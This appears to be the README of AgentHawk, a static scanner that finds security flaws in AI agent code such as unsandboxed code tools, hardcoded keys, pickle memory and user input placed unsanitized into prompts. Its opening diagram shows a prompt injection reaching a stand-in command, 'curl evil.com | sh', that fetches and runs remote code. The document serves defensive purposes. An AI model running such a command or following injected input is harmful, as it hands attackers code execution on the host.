___ __ __ __ __
/ | ____ ____ ____ / /_/ / / /___ __ __/ /__
/ /| |/ __ `/ _ \/ __ \/ __/ /_/ / __ `/ | /| / / //_/
/ ___ / /_/ / __/ / / / /_/ __ / /_/ /| |/ |/ / ,<
/_/ |_\__, /\___/_/ /_/\__/_/ /_/\__,_/ |__/|__/_/|_|
/____/
Static security analyzer for AI agent frameworks
Finds vulnerabilities in LangChain, AutoGen, CrewAI, LlamaIndex, and Haystack code — before they reach production.
A single prompt injection in your AI agent can become arbitrary code execution on your server.
User input ──► LangChain prompt ──► PythonREPLTool ──► os.system("curl evil.com | sh")
↑ ↑
Attacker controls Your server executes
Most teams don't realize their agent code is vulnerable until it's too late. AgentHawk catches these patterns statically — before git push.
$ agenthawk scan ./my_agent_project/
AgentHawk 0.1.0 · scanning 12 files
CRITICAL TOOL003 agent.py:47 Unsandboxed Code Execution (Host Machine)
AutoGen UserProxyAgent configured with use_docker=False. Prompt
injection → arbitrary code execution on the host.
CRITICAL CRED001 config.py:12 Hardcoded OpenAI API Key
API key 'sk-proj-...' is hardcoded in source code.
HIGH TOOL001 tools.py:23 Overpermissioned Filesystem Tool
WriteFileTool grants unrestricted filesystem write access.
HIGH INJECT001 chains.py:31 Unsanitized User Input in Agent Prompt
User input inserted directly into prompt without sanitization.
MEDIUM PERM001 agent.py:52 Agent Has No Iteration Limit
AgentExecutor has 4 tools but no max_iterations set.
──────────────────────────────────────────
Files scanned: 12
Findings: 5 (2 critical · 2 high · 1 medium)
──────────────────────────────────────────
pip install agenthawkOr from source:
git clone https://github.com/ardakocadoruu/agenthawk
cd agenthawk
pip install -e ".[dev]"Requirements: Python 3.10+, no API keys needed, no cloud calls.
# Scan your whole project
agenthawk scan .
# Single file
agenthawk scan ./agents/my_agent.py
# Only show critical findings
agenthawk scan . --severity critical
# SARIF output for GitHub Code Scanning
agenthawk scan . --format sarif --output results.sarif
# JSON for custom tooling
agenthawk scan . --format json | jq '.findings[] | select(.severity=="critical")'Your Python codebase
│
▼
┌───────────────────┐
│ Framework Parser │ Detects LangChain / AutoGen / CrewAI / LlamaIndex / Haystack
│ (AST-level) │ Understands agent APIs, tool bindings, config patterns
└────────┬──────────┘
│ ParsedFile (agents, tools, prompts, imports)
▼
┌───────────────────┐
│ Security Detectors│ TOOL001-003 · PERM001 · INJECT001-002 · CRED001 · MEM001
│ (libcst + regex) │ AST-aware: no false positives from class names like AgentExecutor
└────────┬──────────┘
│ List[Finding] (severity, location, remediation)
▼
┌───────────────────┐
│ Reporter │ Text · JSON · SARIF 2.1.0
│ │ Exit 0 = clean · Exit 1 = findings · Exit 2 = error
└───────────────────┘
Unlike regex-based scanners, AgentHawk understands the structure of your code. It knows that AgentExecutor is not a dangerous tool just because the word exec appears in its name. It knows the difference between pickle.dump (safe) and pickle.load (dangerous). It knows that HumanApprovalCallbackHandler in callbacks= makes a tool safer.
| ID | Severity | What it detects |
|---|---|---|
TOOL001 |
HIGH | Overpermissioned filesystem tools — WriteFileTool, ShellTool, DeleteFileTool, open(..., 'w') inside agent tools |
TOOL002 |
CRITICAL / HIGH | Dangerous tool bound without human approval (HumanApprovalCallbackHandler) |
TOOL003 |
CRITICAL | Unsandboxed code execution — PythonREPLTool, BashTool, AutoGen use_docker=False |
PERM001 |
MEDIUM | Agent with many tools but no max_iterations / max_consecutive_auto_reply limit |
INJECT001 |
HIGH | User input concatenated directly into prompt via f-strings, +, or PromptTemplate(input_variables=[...]) |
INJECT002 |
MEDIUM | Format string injection — .format(**user_dict), %-formatting with user data |
CRED001 |
CRITICAL | Hardcoded keys: OpenAI sk-proj-*, Anthropic sk-ant-*, AWS AKIA*, GitHub ghp_*, HuggingFace hf_*, Google AIza* |
MEM001 |
HIGH | Pickle-based agent memory — pickle.load, pickle.loads, shelve.open — RCE on deserialization |
This code looks harmless. AgentHawk flags three issues in it:
# agent.py
from langchain.agents import AgentExecutor
from langchain.tools import WriteFileTool, PythonREPLTool
from langchain_core.prompts import PromptTemplate
OPENAI_KEY = "sk-proj-abc123..." # ← CRED001: hardcoded key
user_query = input("Ask me anything: ")
prompt = PromptTemplate(
template="You are helpful. Answer: {user_query}", # ← INJECT001: user input in template
input_variables=["user_query"]
)
tools = [WriteFileTool(), PythonREPLTool()] # ← TOOL003: unsandboxed code exec
agent = AgentExecutor(agent=None, tools=tools) # ← TOOL001: filesystem write access$ agenthawk scan agent.py
CRITICAL CRED001 agent.py:5 Hardcoded OpenAI project API key
HIGH INJECT001 agent.py:9 Unsanitized User Input in Agent Prompt
HIGH TOOL001 agent.py:13 Overpermissioned Filesystem Tool
HIGH TOOL003 agent.py:13 Unsandboxed Code Execution
| Framework | What AgentHawk understands |
|---|---|
| LangChain | AgentExecutor, initialize_agent, create_react_agent, all tool classes, HumanApprovalCallbackHandler, PromptTemplate, ChatPromptTemplate |
| AutoGen | UserProxyAgent, AssistantAgent, ConversableAgent, code_execution_config, use_docker, human_input_mode, register_for_execution |
| CrewAI | Agent, Task, Crew, Process, allow_delegation, FileWriterTool, CodeInterpreterTool, ShellCommandTool |
| LlamaIndex | ReActAgent, FunctionCallingAgent, OpenAIAgent, FunctionTool, CodeInterpreterToolSpec, FileSystemToolSpec |
| Haystack | Pipeline, Agent, ToolInvoker, @component, OpenAPITool, pipeline run() user input |
Generic detectors (CRED001, MEM001, INJECT001/002) run on any Python file regardless of framework.
Add to your GitHub Actions workflow to block vulnerable PRs:
# .github/workflows/security.yml
name: AgentHawk Security Scan
on: [push, pull_request]
jobs:
agenthawk:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
with:
python-version: "3.12"
- run: pip install agenthawk
- run: agenthawk scan . --format sarif --output agenthawk.sarif
- uses: github/codeql-action/upload-sarif@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
if: always()
with:
sarif_file: agenthawk.sarifFindings appear inline in pull request diffs via GitHub Code Scanning — no external service required.
| Format | Use case | Command |
|---|---|---|
text (default) |
Terminal, human review | agenthawk scan . |
json |
Custom tooling, dashboards | agenthawk scan . --format json |
sarif |
GitHub Code Scanning, VS Code | agenthawk scan . --format sarif |
Bandit / semgrep? They're great general-purpose tools but don't understand AI agent APIs. They can't tell you that your UserProxyAgent lacks use_docker, or that your HumanApprovalCallbackHandler is correctly wired.
Manual review? Doesn't scale to CI, and the vulnerability patterns are subtle. Would you catch a use_docker key missing three levels deep in a config dict?
Runtime monitoring? Too late. AgentHawk catches issues before deployment.
Contributions welcome — especially new detectors for emerging frameworks. See CONTRIBUTING.md for:
- Development setup
- How to add a new detector (step-by-step guide with code templates)
- PR checklist
Bug reports and feature requests: GitHub Issues
To report a vulnerability in AgentHawk itself, see SECURITY.md. Please do not open a public issue for security bugs.
MIT © Arda Kocadoru